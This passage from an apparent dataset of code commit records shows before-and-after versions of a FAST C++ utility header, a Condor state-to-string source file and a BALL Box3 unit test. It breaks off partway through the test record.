void createDirectories(std::string path);\n\n\/**\n * Check if file exists\n * @param filename\n * @return\n *\/\nFAST_EXPORT bool fileExists(std::string filename);\n\n\/**\n * Returns a list of all files in a directory\n * @param path\n * @param getFiles Set to true to find files in directory\n * @param getDirectories Set to true to find subdirectories\n * @return list of files or subdirectories\n *\/\nFAST_EXPORT std::vector<std::string> getDirectoryList(std::string path, bool getFiles = true, bool getDirectories = false);\n\n\/**\n * Returns the dir name of the given path. Example: getDirName(\"\/home\/user\/something\/file.txt\")\n * returns home\/user\/something\/.\n *\n * @param path\n * @return\n *\/\nFAST_EXPORT std::string getDirName(std::string path);\n\n\/**\n * Returns a string of the current date\n * @param format see http:\/\/en.cppreference.com\/w\/cpp\/chrono\/c\/strftime\n * @return\n *\/\nFAST_EXPORT std::string currentDateTime(std::string format = \"%Y-%m-%d-%H%M%S\");\n\n\/**\n * Removes trailing \/\n * @param path\n * @return\n *\/\nFAST_EXPORT std::string join(std::string path);\n\n\/**\n * Get modified date of a file as a string\n * @param filename\n * @return\n *\/\nFAST_EXPORT std::string getModifiedDate(std::string filename);\n\n\/**\n * Join multiple paths.\n *\n * @tparam T\n * @param path1\n * @param args\n * @return\n *\/\ntemplate<typename ...T>\nstd::string join(const std::string& path1, T... args) {\n    return path1 + \"\/\" + join(args...);\n}\n\n\/**\n * Check if path is a file.\n * @param path\n * @return\n *\/\nFAST_EXPORT bool isFile(const std::string& path);\n\n\/**\n * Check if path is a directory.\n * @param path\n * @return\n *\/\nFAST_EXPORT bool isDir(const std::string& path);\n\n\/**\n * Same as make_unique(std::size_t size), except this version will not\n * value initialize the dynamic array. This is useful for large arrays.\n * @tparam T\n * @param size\n * @return\n *\/\ntemplate <class T>\nstd::unique_ptr<T> make_uninitialized_unique(std::size_t size) {\n    return std::unique_ptr<T>(new typename std::remove_extent<T>::type[size]);\n}\n\n\n\n} \/\/ end namespace fast\n\n#endif \/* UTILITY_HPP_ *\/\n<commit_msg>removed std functions deprecated in C++17<commit_after>#ifndef UTILITY_HPP_\n#define UTILITY_HPP_\n#include \"FAST\/ExecutionDevice.hpp\"\n#include \"FAST\/Data\/DataTypes.hpp\"\n#include <algorithm>\n#include <functional>\n#include <cctype>\n#include <locale>\n\n\/\/ This file contains a set of utility functions\n\n\/\/ Undefine windows crap\n#undef min\n#undef max\n\nnamespace fast {\n\nFAST_EXPORT double log2(double n);\nFAST_EXPORT double round(double n);\nFAST_EXPORT double round(double n, int decimals);\n\n\/**\n * Does simply x^2 = x*x\n * @tparam T\n * @param x a numeric value\n * @return x*x\n *\/\ntemplate <class T>\nT square(T x) {\n    return x*x;\n}\n\ntemplate <typename ...Args>\nstd::string format(std::string format, Args && ... args) {\n    auto size = std::snprintf(nullptr, 0, format.c_str(), std::forward<Args>(args)...);\n    std::string output(size + 1, '\\0');\n    std::sprintf(&output[0], format.c_str(), std::forward<Args>(args)...);\n    return output;\n}\n\ntemplate<class T>\nT min(T a, T b) {\n    return a < b ? a : b;\n}\n\ntemplate<class T>\nT max(T a, T b) {\n    return a > b ? a : b;\n}\n\ntemplate<class T>\nT sign(T value) {\n    if(value > 0) {\n        return 1;\n    } else if (value < 0) {\n        return -1;\n    } else {\n        return 0;\n    }\n}\n\nFAST_EXPORT unsigned int getPowerOfTwoSize(unsigned int size);\nFAST_EXPORT void* allocateDataArray(unsigned int voxels, DataType type, unsigned int nrOfComponents);\ntemplate <class T>\nfloat getSumFromOpenCLImageResult(void* voidData, unsigned int size, unsigned int nrOfComponents) {\n    T* data = (T*)voidData;\n    float sum = 0.0f;\n    for(unsigned int i = 0; i < size*nrOfComponents; i += nrOfComponents) {\n        sum += data[i];\n    }\n    return sum;\n}\n\nFAST_EXPORT void getMaxAndMinFromOpenCLImage(OpenCLDevice::pointer device, cl::Image2D image, DataType type, float* min, float* max);\nFAST_EXPORT void getMaxAndMinFromOpenCLImage(OpenCLDevice::pointer device, cl::Image3D image, DataType type, float* min, float* max);\nFAST_EXPORT void getMaxAndMinFromOpenCLBuffer(OpenCLDevice::pointer device, cl::Buffer buffer, unsigned int size, DataType type, float* min, float* max);\nFAST_EXPORT void getIntensitySumFromOpenCLImage(OpenCLDevice::pointer device, cl::Image2D image, DataType type, float* sum);\n\ntemplate <class T>\nvoid getMaxAndMinFromData(void* voidData, unsigned int nrOfElements, float* min, float* max) {\n    T* data = (T*)voidData;\n\n    *min = std::numeric_limits<float>::max();\n    *max = std::numeric_limits<float>::min();\n    for(unsigned int i = 0; i < nrOfElements; i++) {\n        if((float)data[i] < *min) {\n            *min = (float)data[i];\n        }\n        if((float)data[i] > *max) {\n            *max = (float)data[i];\n        }\n    }\n}\n\ntemplate <class T>\nfloat getSumFromData(void* voidData, unsigned int nrOfElements) {\n    T* data = (T*)voidData;\n\n    float sum = 0.0f;\n    for(unsigned int i = 0; i < nrOfElements; i++) {\n        sum += (float)data[i];\n    }\n    return sum;\n}\n\nFAST_EXPORT cl::size_t<3> createRegion(unsigned int x, unsigned int y, unsigned int z);\nFAST_EXPORT cl::size_t<3> createRegion(Vector3ui size);\nFAST_EXPORT cl::size_t<3> createOrigoRegion();\n\nFAST_EXPORT std::string getCLErrorString(cl_int err);\n\n\/**\n * Function for splitting a string\n * @param input string\n * @param delimiter string\n * @return vector of strings\n *\/\nFAST_EXPORT std::vector<std::string> split(const std::string input, const std::string& delimiter = \" \");\n\n\/\/ trim from start (in place)\nstatic inline void ltrim(std::string &s) {\n    s.erase(s.begin(), std::find_if(s.begin(), s.end(),\n        [](unsigned char c) {return !std::isspace(c); }));\n}\n\n\/\/ trim from end (in place)\nstatic inline void rtrim(std::string &s) {\n    s.erase(std::find_if(s.rbegin(), s.rend(),\n        [](unsigned char c) {return !std::isspace(c); }).base(), s.end());\n}\n\n\/\/ trim from both ends (in place)\nstatic inline void trim(std::string &s) {\n    ltrim(s);\n    rtrim(s);\n}\n\n\/*\n * Replace all occurences of from to to in str\n *\/\nFAST_EXPORT std::string replace(std::string str, std::string find, std::string replacement);\n\ntemplate <class T>\nstatic inline void hash_combine(std::size_t& seed, const T& v)\n{\n    std::hash<T> hasher;\n    seed ^= hasher(v) + 0x9e3779b9 + (seed<<6) + (seed>>2);\n}\n\nFAST_EXPORT Matrix4f loadPerspectiveMatrix(float fovy, float aspect, float zNear, float zFar);\n\nFAST_EXPORT Matrix4f loadOrthographicMatrix(float left, float right, float bottom, float top, float zNear, float zFar);\n\n\/**\n * Creates a directory at the given path.\n * Throws exception if it fails\n *\/\nFAST_EXPORT void createDirectory(std::string path);\n\n\/**\n * Creates all directories in the given path.\n * Throws exception if it fails\n *\/\nFAST_EXPORT void createDirectories(std::string path);\n\n\/**\n * Check if file exists\n * @param filename\n * @return\n *\/\nFAST_EXPORT bool fileExists(std::string filename);\n\n\/**\n * Returns a list of all files in a directory\n * @param path\n * @param getFiles Set to true to find files in directory\n * @param getDirectories Set to true to find subdirectories\n * @return list of files or subdirectories\n *\/\nFAST_EXPORT std::vector<std::string> getDirectoryList(std::string path, bool getFiles = true, bool getDirectories = false);\n\n\/**\n * Returns the dir name of the given path. Example: getDirName(\"\/home\/user\/something\/file.txt\")\n * returns home\/user\/something\/.\n *\n * @param path\n * @return\n *\/\nFAST_EXPORT std::string getDirName(std::string path);\n\n\/**\n * Returns a string of the current date\n * @param format see http:\/\/en.cppreference.com\/w\/cpp\/chrono\/c\/strftime\n * @return\n *\/\nFAST_EXPORT std::string currentDateTime(std::string format = \"%Y-%m-%d-%H%M%S\");\n\n\/**\n * Removes trailing \/\n * @param path\n * @return\n *\/\nFAST_EXPORT std::string join(std::string path);\n\n\/**\n * Get modified date of a file as a string\n * @param filename\n * @return\n *\/\nFAST_EXPORT std::string getModifiedDate(std::string filename);\n\n\/**\n * Join multiple paths.\n *\n * @tparam T\n * @param path1\n * @param args\n * @return\n *\/\ntemplate<typename ...T>\nstd::string join(const std::string& path1, T... args) {\n    return path1 + \"\/\" + join(args...);\n}\n\n\/**\n * Check if path is a file.\n * @param path\n * @return\n *\/\nFAST_EXPORT bool isFile(const std::string& path);\n\n\/**\n * Check if path is a directory.\n * @param path\n * @return\n *\/\nFAST_EXPORT bool isDir(const std::string& path);\n\n\/**\n * Same as make_unique(std::size_t size), except this version will not\n * value initialize the dynamic array. This is useful for large arrays.\n * @tparam T\n * @param size\n * @return\n *\/\ntemplate <class T>\nstd::unique_ptr<T> make_uninitialized_unique(std::size_t size) {\n    return std::unique_ptr<T>(new typename std::remove_extent<T>::type[size]);\n}\n\n\n\n} \/\/ end namespace fast\n\n#endif \/* UTILITY_HPP_ *\/\n<|endoftext|>"}
{"text":"<commit_before>\/***************************Copyright-DO-NOT-REMOVE-THIS-LINE**\n * CONDOR Copyright Notice\n *\n * See LICENSE.TXT for additional notices and disclaimers.\n *\n * Copyright (c)1990-1998 CONDOR Team, Computer Sciences Department, \n * University of Wisconsin-Madison, Madison, WI.  All Rights Reserved.  \n * No use of the CONDOR Software Program Source Code is authorized \n * without the express consent of the CONDOR Team.  For more information \n * contact: CONDOR Team, Attention: Professor Miron Livny, \n * 7367 Computer Sciences, 1210 W. Dayton St., Madison, WI 53706-1685, \n * (608) 262-0856 or miron@cs.wisc.edu.\n *\n * U.S. Government Rights Restrictions: Use, duplication, or disclosure \n * by the U.S. Government is subject to restrictions as set forth in \n * subparagraph (c)(1)(ii) of The Rights in Technical Data and Computer \n * Software clause at DFARS 252.227-7013 or subparagraphs (c)(1) and \n * (2) of Commercial Computer Software-Restricted Rights at 48 CFR \n * 52.227-19, as applicable, CONDOR Team, Attention: Professor Miron \n * Livny, 7367 Computer Sciences, 1210 W. Dayton St., Madison, \n * WI 53706-1685, (608) 262-0856 or miron@cs.wisc.edu.\n****************************Copyright-DO-NOT-REMOVE-THIS-LINE**\/\n#include \"condor_common.h\"\n#include \"condor_state.h\"\n\nstatic char *_FileName_ = __FILE__;\n\nstatic char* condor_states [] = { \"Owner\", \"Unclaimed\", \"Matched\",\n\t\t\t\t\t\t\t\t  \"Claimed\", \"Preempting\" };\n\nstatic char* condor_activities [] = { \"Idle\", \"Busy\", \"Vacating\",\n\t\t\t\t\t\t\t\t\t  \"Suspended\", \"Benchmarking\",\n\t\t\t\t\t\t\t\t\t  \"Killing\" };\n\nState \nstring_to_state(char* state_string) \n{\n\tint i;\n\tfor( i=0; i<_state_threshold_; i++ ) {\n\t\tif( !strcmp(condor_states[i], state_string) ) {\n\t\t\treturn (State)i;\n\t\t}\n\t}\n\treturn _error_state_;\n}\n\n\nchar*\nstate_to_string( State state )\n{\n\tif( state < _state_threshold_ ) {\n\t\treturn condor_states[state];\n\t} else {\n\t\treturn \"Unknown\";\n\t}\n}\n\n\nActivity\nstring_to_activity( char* act_string ) \n{\n\tint i;\n\tfor( i=0; i<_act_threshold_; i++ ) {\n\t\tif( !strcmp(condor_activities[i], act_string) ) {\n\t\t\treturn (Activity)i;\n\t\t}\n\t}\n\treturn _error_act_;\n}\n\n\nchar*\nactivity_to_string( Activity act )\n{\n\tif( act < _act_threshold_ ) {\n\t\treturn condor_activities[act];\n\t} else {\n\t\treturn \"Unknown\";\n\t}\n}\n\n\n<commit_msg>+ Added strings for \"Delete\", \"Shutdown\", and \"None\" states. + Removed _FileName_ since it's not needed.<commit_after>\/***************************Copyright-DO-NOT-REMOVE-THIS-LINE**\n * CONDOR Copyright Notice\n *\n * See LICENSE.TXT for additional notices and disclaimers.\n *\n * Copyright (c)1990-1998 CONDOR Team, Computer Sciences Department, \n * University of Wisconsin-Madison, Madison, WI.  All Rights Reserved.  \n * No use of the CONDOR Software Program Source Code is authorized \n * without the express consent of the CONDOR Team.  For more information \n * contact: CONDOR Team, Attention: Professor Miron Livny, \n * 7367 Computer Sciences, 1210 W. Dayton St., Madison, WI 53706-1685, \n * (608) 262-0856 or miron@cs.wisc.edu.\n *\n * U.S. Government Rights Restrictions: Use, duplication, or disclosure \n * by the U.S. Government is subject to restrictions as set forth in \n * subparagraph (c)(1)(ii) of The Rights in Technical Data and Computer \n * Software clause at DFARS 252.227-7013 or subparagraphs (c)(1) and \n * (2) of Commercial Computer Software-Restricted Rights at 48 CFR \n * 52.227-19, as applicable, CONDOR Team, Attention: Professor Miron \n * Livny, 7367 Computer Sciences, 1210 W. Dayton St., Madison, \n * WI 53706-1685, (608) 262-0856 or miron@cs.wisc.edu.\n****************************Copyright-DO-NOT-REMOVE-THIS-LINE**\/\n#include \"condor_common.h\"\n#include \"condor_state.h\"\n\nstatic char* condor_states [] = \n{ \"None\", \"Owner\", \"Unclaimed\", \"Matched\",  \"Claimed\", \"Preempting\",\n  \"Shutdown\", \"Delete\" };\n\nstatic char* condor_activities [] = \n{ \"None\", \"Idle\", \"Busy\", \"Vacating\", \"Suspended\", \"Benchmarking\",\n  \"Killing\" };\n\nState \nstring_to_state(char* state_string) \n{\n\tint i;\n\tfor( i=0; i<_state_threshold_; i++ ) {\n\t\tif( !strcmp(condor_states[i], state_string) ) {\n\t\t\treturn (State)i;\n\t\t}\n\t}\n\treturn _error_state_;\n}\n\n\nchar*\nstate_to_string( State state )\n{\n\tif( state < _state_threshold_ ) {\n\t\treturn condor_states[state];\n\t} else {\n\t\treturn \"Unknown\";\n\t}\n}\n\n\nActivity\nstring_to_activity( char* act_string ) \n{\n\tint i;\n\tfor( i=0; i<_act_threshold_; i++ ) {\n\t\tif( !strcmp(condor_activities[i], act_string) ) {\n\t\t\treturn (Activity)i;\n\t\t}\n\t}\n\treturn _error_act_;\n}\n\n\nchar*\nactivity_to_string( Activity act )\n{\n\tif( act < _act_threshold_ ) {\n\t\treturn condor_activities[act];\n\t} else {\n\t\treturn \"Unknown\";\n\t}\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ $Id: Box3_test.C,v 1.11 2000\/07\/26 16:49:46 amoll Exp $\n#include <BALL\/CONCEPT\/classTest.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#\tinclude <BALL\/MATHS\/box3.h>\n#\tinclude <BALL\/MATHS\/vector3.h>\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSTART_TEST(class_name, \"$Id: Box3_test.C,v 1.11 2000\/07\/26 16:49:46 amoll Exp $\")\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace BALL;\nusing namespace std;\n\nCHECK(TVector3::BALL_CREATE(TBox3<T>))\n\tVector3 v1(1.0, 2.0, 3.0), v2(1.0, 2.0, 3.0);\n\tVector3 v0;\n\tBox3 v(v1, v2);\n\tBox3* v_ptr = (Box3*)v.create(false, true);\n\tTEST_EQUAL(v_ptr->a == v0, true)\n\tTEST_EQUAL(v_ptr->b == v0, true)\n\tdelete v_ptr;\n\tv_ptr = (Box3*)v.create();\n\tTEST_EQUAL(v_ptr->a == v1, true)\n\tTEST_EQUAL(v_ptr->b == v2, true)\n\tdelete v_ptr;\nRESULT\n\nCHECK(TBox3::TBox3())\n  Box3* box;\n\tbox = new Box3();\n\tTEST_NOT_EQUAL(box, 0)\nRESULT\n\nBox3 box, box2;\nVector3 v1, v2, v3, v4;\nfloat a = 1.0, b = 2.0, c = 3.0,\n\t\t\td = 6.0, e = 5.0, f = 4.0;\nfloat a1, b1, c1, d1, e1, f1;\n\nv1 = Vector3(1.0, 2.0, 3.0);\nv2 = Vector3(6.0, 5.0, 4.0);\n\nString filename;\nusing std::ofstream;\nusing std::ios;\n\n\/\/also test for TBox3::get(T& ax, T& ay, T& az, T& bx, T& by, T& bz) const \nCHECK(TBox3::TBox3(const T& ax, const T& ay, const T& az, const T& bx, const T& by, const T& bz))\n\tbox = Box3(a, b, c, d, e, f);\n\tfloat a1, b1, c1, d1, e1, f1;\n\tbox.get(a1, b1, c1, d1, e1, f1);\n\tTEST_REAL_EQUAL(a, a1)\n\tTEST_REAL_EQUAL(b, b1)\n\tTEST_REAL_EQUAL(c, c1)\n\tTEST_REAL_EQUAL(d, d1)\n\tTEST_REAL_EQUAL(e, e1)\n\tTEST_REAL_EQUAL(f, f1)\nRESULT\n\nCHECK(TBox3::TBox3(const TBox3<T>& box, bool \/* deep *\/))\n\tbox = Box3(v1, v2);\n\tbox2 = Box3(box);\n\tfloat a1, b1, c1, d1, e1, f1;\n\tbox2.get(a1, b1, c1, d1, e1, f1);\n\tTEST_REAL_EQUAL(a, a1)\n\tTEST_REAL_EQUAL(b, b1)\n\tTEST_REAL_EQUAL(c, c1)\n\tTEST_REAL_EQUAL(d, d1)\n\tTEST_REAL_EQUAL(e, e1)\n\tTEST_REAL_EQUAL(f, f1)\nRESULT\n\nCHECK(TBox3::TBox3(const TVector3<T>& a, const TVector3<T>& b))\n\tbox = Box3(v1, v2);\n\tbox.get(a1, b1, c1, d1, e1, f1);\n\tTEST_REAL_EQUAL(a, a1)\n\tTEST_REAL_EQUAL(b, b1)\n\tTEST_REAL_EQUAL(c, c1)\n\tTEST_REAL_EQUAL(d, d1)\n\tTEST_REAL_EQUAL(e, e1)\n\tTEST_REAL_EQUAL(f, f1)\nRESULT\n\nCHECK(TBox3::getSurface() const )\n\tbox = Box3(v1, v2);\n\tTEST_REAL_EQUAL(box.getSurface(), 46.0)\nRESULT\n\nCHECK(TBox3::getVolume() const )\n\tbox = Box3(v1, v2);\n\tTEST_REAL_EQUAL(box.getVolume(), 15.0)\nRESULT\n\nCHECK(TBox3::getWidth() const )\n\tbox = Box3(v1, v2);\n\tTEST_REAL_EQUAL(box.getWidth(), 5.0)\nRESULT\n\nCHECK(TBox3::getHeight() const )\n\tbox = Box3(v1, v2);\n\tTEST_REAL_EQUAL(box.getHeight(), 3.0)\nRESULT\n\nCHECK(TBox3::getDepth() const )\n\tbox = Box3(v1, v2);\n\tTEST_REAL_EQUAL(box.getDepth(), 1.0)\nRESULT\n\nCHECK(TBox3::join(const TBox3& box))\n\tbox = Box3(v1, v2);\n\tv3 = Vector3(101.0, 102.0, 103.0);\n\tv4 = Vector3(104.0, 105.0, 106.0);\n\tbox2 = Box3(v3, v4);\n\tbox.join(box2);\n\tbox.get(a1, b1, c1, d1, e1, f1);\n\tTEST_REAL_EQUAL(1, a1)\n\tTEST_REAL_EQUAL(2, b1)\n\tTEST_REAL_EQUAL(3, c1)\n\tTEST_REAL_EQUAL(104, d1)\n\tTEST_REAL_EQUAL(105, e1)\n\tTEST_REAL_EQUAL(106, f1)\nRESULT\n\nCHECK(TBox3::bool operator == (const TBox3& box) const )\n\tbox = Box3(v1, v2);\n\tbox2 = Box3(v3, v4);\n\tTEST_EQUAL(box == box2, false)\n\tbox2 = Box3(v1, v2);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::bool operator != (const TBox3& box) const )\n\tbox = Box3(v1, v2);\n\tbox2 = Box3(v3, v4);\n\tTEST_EQUAL(box != box2, true)\n\tbox2 = Box3(v1, v2);\n\tTEST_EQUAL(box != box2, false)\nRESULT\n\nCHECK(TBox3::isValid() const )\n\tbox = Box3(v1, v2);\n\tTEST_EQUAL(box.isValid(), true)\nRESULT\n\nCHECK(TBox3::set(const TBox3<T>& box, bool \/* deep *\/))\n\tbox = Box3(v1, v2);\n\tbox2.set(box);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::set(const T& ax, const T& ay, const T& az, const T& bx, const T& by, const T& bz))\n\tbox = Box3(v1, v2);\n\tbox2.set(1.0, 2.0, 3.0, 6.0, 5.0, 4.0);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::get(TBox3<T>& box, bool deep) const )\n\tbox = Box3(v1, v2);\n\tbox.get(box2);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::get(TVector3& lower, TVector3& upper) const)\n\tBox3 box;\n\tbox2.get(box);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::get(T& ax, T& ay, T& az, T& bx, T& by, T& bz) const )\n\tbox = Box3(v1, v2);\n\tbox.get(a1, b1, c1, d1, e1, f1);\n\tbox2.set(a1, b1, c1, d1, e1, f1);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::dump(std::ostream& s = std::cout, Size depth = 0) const )\n\tBox3 v(1.0, 2.0, 3.0, 4.0, 5.0, 6.0);\n  String filename;\n\tNEW_TMP_FILE(filename)\n\tstd::ofstream outfile(filename.c_str(), File::OUT);\n\tv.dump(outfile);\n\toutfile.close();\n\tTEST_FILE(filename.c_str(), \"data\/Box3_test.txt\", true)\nRESULT\n\nCHECK(std::istream& operator >> (std::istream& s, TBox3<T>& Box3))\n\tstd::ifstream instr(\"data\/Box3_test2.txt\");\n\tBox3 b(10, 20, 30, 40, 50, 60);\n\tinstr >> b;\n\tinstr.close();\n\tBox3 b1(1, 2, 3, 4, 5, 6);\n\tTEST_EQUAL(b, b1)\nRESULT\n\nNEW_TMP_FILE(filename)\nCHECK(std::ostream& operator << (std::ostream& s, const TBox3<T>& Box3))\n\tBox3 v(1, 2, 3, 4, 5, 6);\n\tstd::ofstream outstr(filename.c_str(), File::OUT);\n\toutstr << v;\n\toutstr.close();\n\tTEST_FILE(filename.c_str(), \"data\/Box3_test2.txt\", false)\nRESULT\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEND_TEST\n<commit_msg>added: test rump for new methods (has, isIntersecting)<commit_after>\/\/ $Id: Box3_test.C,v 1.12 2000\/09\/05 09:59:13 oliver Exp $\n#include <BALL\/CONCEPT\/classTest.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#\tinclude <BALL\/MATHS\/box3.h>\n#\tinclude <BALL\/MATHS\/vector3.h>\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSTART_TEST(class_name, \"$Id: Box3_test.C,v 1.12 2000\/09\/05 09:59:13 oliver Exp $\")\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace BALL;\nusing namespace std;\n\nCHECK(TVector3::BALL_CREATE(TBox3<T>))\n\tVector3 v1(1.0, 2.0, 3.0), v2(1.0, 2.0, 3.0);\n\tVector3 v0;\n\tBox3 v(v1, v2);\n\tBox3* v_ptr = (Box3*)v.create(false, true);\n\tTEST_EQUAL(v_ptr->a == v0, true)\n\tTEST_EQUAL(v_ptr->b == v0, true)\n\tdelete v_ptr;\n\tv_ptr = (Box3*)v.create();\n\tTEST_EQUAL(v_ptr->a == v1, true)\n\tTEST_EQUAL(v_ptr->b == v2, true)\n\tdelete v_ptr;\nRESULT\n\nCHECK(TBox3::TBox3())\n  Box3* box;\n\tbox = new Box3();\n\tTEST_NOT_EQUAL(box, 0)\nRESULT\n\nBox3 box, box2;\nVector3 v1, v2, v3, v4;\nfloat a = 1.0, b = 2.0, c = 3.0,\n\t\t\td = 6.0, e = 5.0, f = 4.0;\nfloat a1, b1, c1, d1, e1, f1;\n\nv1 = Vector3(1.0, 2.0, 3.0);\nv2 = Vector3(6.0, 5.0, 4.0);\n\nString filename;\nusing std::ofstream;\nusing std::ios;\n\n\/\/also test for TBox3::get(T& ax, T& ay, T& az, T& bx, T& by, T& bz) const \nCHECK(TBox3::TBox3(const T& ax, const T& ay, const T& az, const T& bx, const T& by, const T& bz))\n\tbox = Box3(a, b, c, d, e, f);\n\tfloat a1, b1, c1, d1, e1, f1;\n\tbox.get(a1, b1, c1, d1, e1, f1);\n\tTEST_REAL_EQUAL(a, a1)\n\tTEST_REAL_EQUAL(b, b1)\n\tTEST_REAL_EQUAL(c, c1)\n\tTEST_REAL_EQUAL(d, d1)\n\tTEST_REAL_EQUAL(e, e1)\n\tTEST_REAL_EQUAL(f, f1)\nRESULT\n\nCHECK(TBox3::TBox3(const TBox3<T>& box, bool \/* deep *\/))\n\tbox = Box3(v1, v2);\n\tbox2 = Box3(box);\n\tfloat a1, b1, c1, d1, e1, f1;\n\tbox2.get(a1, b1, c1, d1, e1, f1);\n\tTEST_REAL_EQUAL(a, a1)\n\tTEST_REAL_EQUAL(b, b1)\n\tTEST_REAL_EQUAL(c, c1)\n\tTEST_REAL_EQUAL(d, d1)\n\tTEST_REAL_EQUAL(e, e1)\n\tTEST_REAL_EQUAL(f, f1)\nRESULT\n\nCHECK(TBox3::TBox3(const TVector3<T>& a, const TVector3<T>& b))\n\tbox = Box3(v1, v2);\n\tbox.get(a1, b1, c1, d1, e1, f1);\n\tTEST_REAL_EQUAL(a, a1)\n\tTEST_REAL_EQUAL(b, b1)\n\tTEST_REAL_EQUAL(c, c1)\n\tTEST_REAL_EQUAL(d, d1)\n\tTEST_REAL_EQUAL(e, e1)\n\tTEST_REAL_EQUAL(f, f1)\nRESULT\n\nCHECK(TBox3::getSurface() const )\n\tbox = Box3(v1, v2);\n\tTEST_REAL_EQUAL(box.getSurface(), 46.0)\nRESULT\n\nCHECK(TBox3::getVolume() const )\n\tbox = Box3(v1, v2);\n\tTEST_REAL_EQUAL(box.getVolume(), 15.0)\nRESULT\n\nCHECK(TBox3::getWidth() const )\n\tbox = Box3(v1, v2);\n\tTEST_REAL_EQUAL(box.getWidth(), 5.0)\nRESULT\n\nCHECK(TBox3::getHeight() const )\n\tbox = Box3(v1, v2);\n\tTEST_REAL_EQUAL(box.getHeight(), 3.0)\nRESULT\n\nCHECK(TBox3::getDepth() const )\n\tbox = Box3(v1, v2);\n\tTEST_REAL_EQUAL(box.getDepth(), 1.0)\nRESULT\n\nCHECK(TBox3::join(const TBox3& box))\n\tbox = Box3(v1, v2);\n\tv3 = Vector3(101.0, 102.0, 103.0);\n\tv4 = Vector3(104.0, 105.0, 106.0);\n\tbox2 = Box3(v3, v4);\n\tbox.join(box2);\n\tbox.get(a1, b1, c1, d1, e1, f1);\n\tTEST_REAL_EQUAL(1, a1)\n\tTEST_REAL_EQUAL(2, b1)\n\tTEST_REAL_EQUAL(3, c1)\n\tTEST_REAL_EQUAL(104, d1)\n\tTEST_REAL_EQUAL(105, e1)\n\tTEST_REAL_EQUAL(106, f1)\nRESULT\n\nCHECK(TBox3::bool operator == (const TBox3& box) const )\n\tbox = Box3(v1, v2);\n\tbox2 = Box3(v3, v4);\n\tTEST_EQUAL(box == box2, false)\n\tbox2 = Box3(v1, v2);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::bool operator != (const TBox3& box) const )\n\tbox = Box3(v1, v2);\n\tbox2 = Box3(v3, v4);\n\tTEST_EQUAL(box != box2, true)\n\tbox2 = Box3(v1, v2);\n\tTEST_EQUAL(box != box2, false)\nRESULT\n\nCHECK(TBox3::isValid() const )\n\tbox = Box3(v1, v2);\n\tTEST_EQUAL(box.isValid(), true)\nRESULT\n\nCHECK(bool TBox3::has(const TVector3<T>& point, bool on_surface = false) const)\n\t\/\/ BAUSTELLE\nRESULT\n\nCHECK(bool TBox3::isIntersecting(const TBox3& box) const)\n\t\/\/ BAUSTELLE\nRESULT\n\nCHECK(TBox3::set(const TBox3<T>& box, bool \/* deep *\/))\n\tbox = Box3(v1, v2);\n\tbox2.set(box);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::set(const T& ax, const T& ay, const T& az, const T& bx, const T& by, const T& bz))\n\tbox = Box3(v1, v2);\n\tbox2.set(1.0, 2.0, 3.0, 6.0, 5.0, 4.0);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::get(TBox3<T>& box, bool deep) const )\n\tbox = Box3(v1, v2);\n\tbox.get(box2);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::get(TVector3& lower, TVector3& upper) const)\n\tBox3 box;\n\tbox2.get(box);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::get(T& ax, T& ay, T& az, T& bx, T& by, T& bz) const )\n\tbox = Box3(v1, v2);\n\tbox.get(a1, b1, c1, d1, e1, f1);\n\tbox2.set(a1, b1, c1, d1, e1, f1);\n\tTEST_EQUAL(box == box2, true)\nRESULT\n\nCHECK(TBox3::dump(std::ostream& s = std::cout, Size depth = 0) const )\n\tBox3 v(1.0, 2.0, 3.0, 4.0, 5.0, 6.0);\n  String filename;\n\tNEW_TMP_FILE(filename)\n\tstd::ofstream outfile(filename.c_str(), File::OUT);\n\tv.dump(outfile);\n\toutfile.close();\n\tTEST_FILE(filename.c_str(), 